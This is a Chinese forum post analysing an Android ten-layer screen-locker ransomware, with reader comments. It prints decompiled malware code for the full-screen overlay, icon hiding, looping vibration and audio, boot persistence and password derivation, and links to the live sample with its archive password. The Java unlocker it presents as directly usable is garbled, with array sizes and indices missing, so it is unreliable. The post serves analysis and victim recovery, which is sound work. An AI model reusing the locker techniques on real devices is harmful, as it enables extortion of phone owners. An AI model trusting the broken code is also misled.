Android十层锁机样本分析
# Android十层锁机样本分析拆一个叫“辞九开户3(6)”的 Android 勒索软件,十层锁机。从权限到代码,再到解锁,咱一步步看看它咋回事,最后给解锁和破解方法。说实话,看到“开户”俩字还用,被锁活该。
## 工具
模拟器
JEB
IDEA
jadx
Android Killer
## AndroidManifest文件的分析
先看 AndroidManifest.xml。代码太长,我就挑重点说:
##权限:
- WRITE_EXTERNAL_STORAGE:写外部存储
- SYSTEM_ALERT_WINDOW 和 DISABLE_KEYGUARD:绘制覆盖层
- BIND_ACCESSIBILITY_SERVICE:无障碍
- RECEIVE_BOOT_COMPLETED 和 WAKE_LOCK:开机自启
## 组件:
- MainActivity 是入口,启动就跑。
- 服务 com.mycompany.myapp.a 用无障碍权限,还设成 persistent="true",估计核心在这
- 广播 com.mycompany.myapp.pass 开机自启动
## 入口
```
public class MainActivity extends Activity {
@Override// android.app.Activity
protected void onCreate(Bundle bundle0) {
super.onCreate(bundle0);
this.setContentView(0x7F030000);// layout:activity_main
Intent intent0 = new Intent("android.settings.ACCESSIBILITY_SETTINGS");
this.startActivity(intent0); // 启动无障碍
Intent intent1 = new Intent();
intent0.setAction("android.intent.action.BOOT_COMPLETED");
this.sendBroadcast(intent1); // 自启动广播
}
}
```
一启动就要求开启无障碍权限,随后锁定设备,并通过广播拉起核心服务 com.mycompany.myapp.a。更狠的是,应用图标直接被隐藏,桌面上找不到。
## 反编译
反编译后,找到锁机界面和密码逻辑。界面这块用 createMaskView 实现,代码长,我挑重点说:
```
private void createMaskView() {
WindowManager.LayoutParams params = new WindowManager.LayoutParams(-1, -1, ...);// 全屏遮罩
WindowManager wm = (WindowManager) getSystemService("window");
LinearLayout maskView = (LinearLayout) LayoutInflater.from(this).inflate(0x7F030001, null);// layout:floatt
wm.addView(maskView, params);// 盖住屏幕
EditText editText = (EditText) maskView.findViewById(0x7F090004);// 输入框
editText.setHint("请输入解锁密码");
// 后面是 switch,根据 a.cL1 切换层级
switch (a.cL1) {
case 2:// 第一层
maskView.findViewById(0x7F090002).setText("Android 白爛");
maskView.findViewById(0x7F090003).setText("作者白爛QQ3940006867");
maskView.findViewById(0x7F090001).setText("第一层");
if (pW0 >= 5) { maskView.setBackgroundResource(0x7F020001); }// 错5次锁死
break;
case 11:// 第十层
if (pW0 >= 5) {
maskView.setBackgroundResource(0x7F020001);
maskView.findViewById(0x7F090003).setText("欢迎来到最后一层");
maskView.findViewById(0x7F090001).setText("第十层");
}
break;
// 其他层差不多,换颜色和文字
}
}
```
这代码用 WindowManager 全屏,上面有输入框让你输密码,还有Android 白爛、作者白爛QQ3940006867之类的文字。a.cL1 控制层级,从第一层到第十层,每层颜色不同,错 5 次(pW0 >= 5)就锁死,背景换成 sd。
密码验证在 onClick 里,之前以为 pw 是写死的,后来用 jadx 反编译发现 pW = passw(xlh),原来是动态算的。pW0 是错误次数,输错一次加 1,5 次后锁死,确定 pW 就是密码。
## 心理博弈
```
@Override// android.accessibilityservice.AccessibilityService
@Override
protected void onServiceConnected() {
super.onServiceConnected();
AccessibilityServiceInfo info = new AccessibilityServiceInfo();
info.eventTypes = 0x20;// 监控窗口变化
setServiceInfo(info);
getPackageManager().setComponentEnabledSetting(new ComponentName(this, MainActivity.class), 2, 1);// 禁用入口
Vibrator vibrator = (Vibrator) getSystemService("vibrator");
vibrator.vibrate(new long[]{0L, 180L, 0L, 120L}, 0);// 循环振动
音乐();// 循环放音频
createMaskView();// 锁屏
序列号();// 生成序列号
你妈死了();
老弟你配吗();// 倒计时
Toast.makeText(this, "辅助功能服务已启动", 0).show();
}
```
隐藏图标:setComponentEnabledSetting 禁用 MainActivity,导致图标从桌面消失,想找都找不着。AK 过滤这行,注释掉就能破:
```
# invoke-virtual {v0, v1, v2, v3}, Landroid/content/pm/PackageManager;->setComponentEnabledSetting(Landroid/content/ComponentName;II)V
```
[!(https://s21.ax1x.com/2025/03/01/pE87FUA.png)](https://imgse.com/i/pE87FUA)
音频
```
private void 音乐() {
player = pW0 >= 1 ? MediaPlayer.create(this, 0x7F050001) : MediaPlayer.create(this, 0x7F050000);
player.setLooping(true);
player.start();
}
```
错一次密码换个音频,一直循环,很恶心。
10 分钟倒计时
```
private void 老弟你配吗() {
View view0 = this.maskView.findViewById(0x7F090013);// id:t1
View view1 = this.maskView.findViewById(0x7F09000F);// id:bt
this.countDownTimer = new 100000003(this, 600000L, 1000L,
((TextView)view0), ((TextView)this.maskView.findViewById(0x7F090011)),
((Button)view1)).start();// id:cw
}
```
10 分钟倒计时逼你慌,超时锁死。
## 开机自启动
开机自启,看 pass 类,是个广播接收器:
```
public class pass extends BroadcastReceiver {
private boolean isServiceRun(Context context0, String s) {
Iterator iterator0 = ((ActivityManager)context0.getSystemService("activity")).getRunningServices(0x7FFFFFFF).iterator();
while (iterator0.hasNext()) {
if (s.equals(((ActivityManager.RunningServiceInfo)iterator0.next()).service.getClassName())) {
return true;
}
}
return false;
}
@Override
public void onReceive(Context context0, Intent intent0) {
if (intent0.getAction().equals("com.mycompany.myapp.a")) {
SharedPreferences.Editor editor = context0.getSharedPreferences("MyApp", 0).edit();
editor.putBoolean("jc", true);
editor.apply();
if (!isServiceRun(context0, "com.mycompany.myapp.a")) {
Intent intent1 = new Intent();
intent1.setClassName("com.mycompany.myapp", "com.mycompany.myapp.a");
context0.startService(intent1);
}
}
}
}
```
开机 BOOT_COMPLETED,服务 a 蹦出来,自启动给你锁上。
## 序列号和密码
序列号() 生成个 6 位随机数,同时设了个写死的密码:
```
private void 序列号() {
int v = (int)(Math.random() * 900000.0) + 100000;// 随机 100000-999999
a.xlh = v;
maskView.findViewById(0x7F090012).setText(String.valueOf(v));
a.pW = "14255495";// 写死密码
}
```
但后来发现 pW = passw(xlh),真正的密码是算出来的。passw() 是关键:
```
public static String passw(int v) {
String s;
PassWord passWord0 = new PassWord("Android闪电博士");
try {
switch(a.cL1) {
case 2: {
s = passWord0.encrypt(a.get(a.get((v + "博士" + "你妈" + "闪电" + v % 20))));
break;
case 11: {
s = passWord0.encrypt(a.get(a.get((v + "博士" + (v - 45) + "闪电博士" + v / 53 + "操你妈" + (v - 89) + "●闪电" + v % 0x40))));
break;
}
}
}
}
catch(Exception unused_ex) {
s = null;
}
String s1 = a.getMD5String(s).replaceAll("[^1-9]", "");
return s1.length() <= 8 ? s1 : s1.substring(0, 8);
}
```
代码有点长就不贴全了,简单点:拿序列号 xlh 拼接字符串(每层不一样,像“博士你妈闪电”之类),用 DES 加密(密钥是“Android闪电博士”),再算 MD5 并去除所有非数字字符,截取前八位。写死的 "14255495" 可能是幌子,实际密码靠这算。
## 解锁逻辑
PassWord 类是加密核心,用 DES 算法,密钥是 "Android闪电博士"。get() 把数字换成“闪”“电”之类的再反转,encrypt() 加密成字节转十六进制,最后 MD5 去非数字字符,截数字。代码太长不贴了。
直接把代码复制到 IDEA 跑了下,比如 xlh = 176716,level = 10,算出密码:
[!(https://s21.ax1x.com/2025/03/01/pE8h9BR.png)](https://imgse.com/i/pE8h9BR)
所有层的解密逻辑基本一致,都是基于字符串拼接、加密与哈希处理,直接套用即可。
[!(https://s21.ax1x.com/2025/03/01/pE8hLqA.png)](https://imgse.com/i/pE8hLqA)
解锁源码,能直接用:
```
public class Main {
public static void main(String[] args) {
int xlh = 176716;
int level = 10;
String password = unLock(level, xlh);
System.out.println("LEVEL:" + level + "\nXLH: " + xlh + "\nPASSWORD: " + password);
}
/**
* 解锁
*
* @Param level 层级
* @param xlh 序列号
* @Return 密码
*/
public static String unLock(int level, int xlh) {
String s;
try {
s = switch (level) {
case 1 -> encrypt(get(get((xlh + "博士" + "你妈" + "闪电" + xlh % 20))));
case 2 -> encrypt(get(get((xlh + "专" + "你妈" + "闪电" + "你士"))));
case 3 -> encrypt(get(get((xlh + "博士" + "闪电" + "专操你妈"))));
case 4 -> encrypt(get(get((xlh + "博士" + "闪电" + "操" + "你妈"))));
case 5 -> encrypt(get(get((xlh + "电" + "●ā"))));
case 6 -> encrypt(get(get((xlh + "博" + "闪" + "操你妈" + (xlh + 1)))));
case 7 -> encrypt(get(get((xlh + "闪" + "你妈" + (xlh / 2 - 3)))));
case 8 -> encrypt(get(get((xlh * 3 + "博士" + "闪" + xlh * 3 / 2))));
case 9 -> encrypt(get(get((xlh - 3 + "博士" + "闪电" + (xlh - 3) * 4))));
case 10 ->
encrypt(get(get((xlh + "博士" + (xlh - 45) + "闪电博士" + xlh / 53 + "操你妈" + (xlh - 89) + "●闪电" + xlh % 0x40))));
default -> null;
};
} catch (Exception unused_ex) {
s = null;
}
String s1 = getMD5String(s).replaceAll("[^1-9]", "");
return s1.length() <= 8 ? s1 : s1.substring(0, 8);
}
public static String getMD5String(String s) {
try {
char[] arr_c = {'0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f'};
MessageDigest messageDigest0 = MessageDigest.getInstance("MD5");
messageDigest0.update(s.getBytes());
byte[] arr_b = messageDigest0.digest();
char[] arr_c1 = new char;
int v1 = 0;
for (int v = 0; true; ++v) {
if (v >= arr_b.length) {
return new String(arr_c1);
}
int v2 = arr_b;
int v3 = v1 + 1;
arr_c1 = arr_c;
v1 = v3 + 1;
arr_c1 = arr_c;
}
} catch (Exception exception0) {
exception0.printStackTrace();
return null;
}
}
public static String encrypt(String s) throws Exception {
return byteArr2HexStr(encrypt(s.getBytes()));
}
public static byte[] encrypt(byte[] arr_b) throws Exception {
Cipher encryptCipher;
encryptCipher = null;
try {
Key key0 = getKey("Android闪电博士".getBytes());
Cipher cipher0 = Cipher.getInstance("DES");
encryptCipher = cipher0;
cipher0.init(1, key0);
Cipher cipher1 = Cipher.getInstance("DES");
cipher1.init(2, key0);
} catch (Exception exception0) {
exception0.printStackTrace();
}
return encryptCipher.doFinal(arr_b);
}
private static Key getKey(byte[] arr_b) throws Exception {
byte[] arr_b1 = new byte;
for (int v = 0; v < arr_b.length && v < 8; ++v) {
arr_b1 = arr_b;
}
return new SecretKeySpec(arr_b1, "DES");
}
public static String byteArr2HexStr(byte[] arr_b) throws Exception {
StringBuffer stringBuffer0 = new StringBuffer(arr_b.length * 2);
for (int v = 0; v < arr_b.length; ++v) {
int v1;
for (v1 = arr_b; v1 < 0; v1 += 0x100) {
}
if (v1 < 16) {
stringBuffer0.append('0');
}
stringBuffer0.append(Integer.toString(v1, 16));
}
return stringBuffer0.toString();
}
public static String get(String s) {
for (int v = 0; v < 10; ++v) {
s = s.replaceAll(new String[]{"0", "1", "2", "3", "4", "5", "6", "7", "8", "9"}, new String[]{"闪", "电", "博", "士", "专", "操", "你", "妈", "●", "ā"}).toString();
}
return new StringBuffer(s).reverse().toString();
}
}
```
## 样本
[样本](https://xingmengds.lanzouo.com/iarUH2p980kf)
解压密码:52pojie SN1t2lO 发表于 2025-3-3 11:52
真不明白,这个留q的2比小青年真的啥都不怕吗?
能有什么怕。怕什么怕?十有八九是10后干的,未成年。。。。不要觉得不可思议,兴趣是最好的老师。
我在小学三年级的时候就通过阅读课外书知道了铝热反应这些乱七八糟的高中课本知识,自然到了高中的时候除了语数外一团糟,其他都秀的很,从初中到高中老师都各有各的猜测。。。初中班主任是科学老师,自信满满认为我“害怕他”所以比较优秀,而到了高中,物化生老师一开始都是不敢相信,亲自当面问我是不是作弊了到后面习以为常。。。。{:301_1001:}自然在信息课上我也是传播各种奇淫技巧的吟游诗人。。。。我高中的时候就研究过比特币了,差不多十年前还用过几百个比特币支付海外一些独立服务器的租金。
minecraft圈子人才级别的小朋友相当多,当年mcpe比较火热,黄易还没代理的时候,有的小朋友卖插件,就是自建社区服务器用的功能拓展都挣了几十万。。。服务器一个IP/端口算一个客户端授权费用过千。。。据我观察实际真实成交交易量至少有接近1000个真实用户。。。。这样的小朋友还有好多。许多对具体原理,实现都有相当深入的了解,编写一些相当底层的工具。。。至于哪里捕获这样的秀儿?B站可多,Q群更多。
我Q上加了一堆这样的00后。。。至于他们目前的学历,上中下各种层级都有。有的人写得一手好爪洼,中专都不好好上,家里买的大专都没拿到毕业证。也有一些大专学的软件信息。至于清华、上交这些也都有。。。。只能说兴趣就是兴趣,于学习成绩不是完全挂钩。。。。好像身体不好的娃挺多,当年好不容易认识个同城的年轻人一起玩,结果后来头像再也没亮过,我不太水群,听群友说胸口完全没有肋骨都是打的水泥。希望只是弃坑了,祝平安健康吧 WeCat007 发表于 2025-3-4 18:40
现在有的系统不是需要无障碍才能吗?难道这里面内嵌自动打开无障碍?
不是说了启动就要求开启无障碍吗 看见要无障碍的就留个心眼放虚拟机了,我差点就被锁过 真不明白,这个留q的2比小青年真的啥都不怕吗? 啊 只要下载打开就能锁机?不需要root权限或者无障碍模式吗~~ 有意思,软件作者还是吃太饱了 好厉害啊 现在有的系统不是需要无障碍才能吗?难道这里面内嵌自动打开无障碍?{:1_904:} 之前是无障碍 还有悬浮窗,这些东西慢慢都在进化,还有一些什么锁机生成器 膜拜大佬,必须学学习下。 学习下,给deepseek学习下,
页:
[1]
2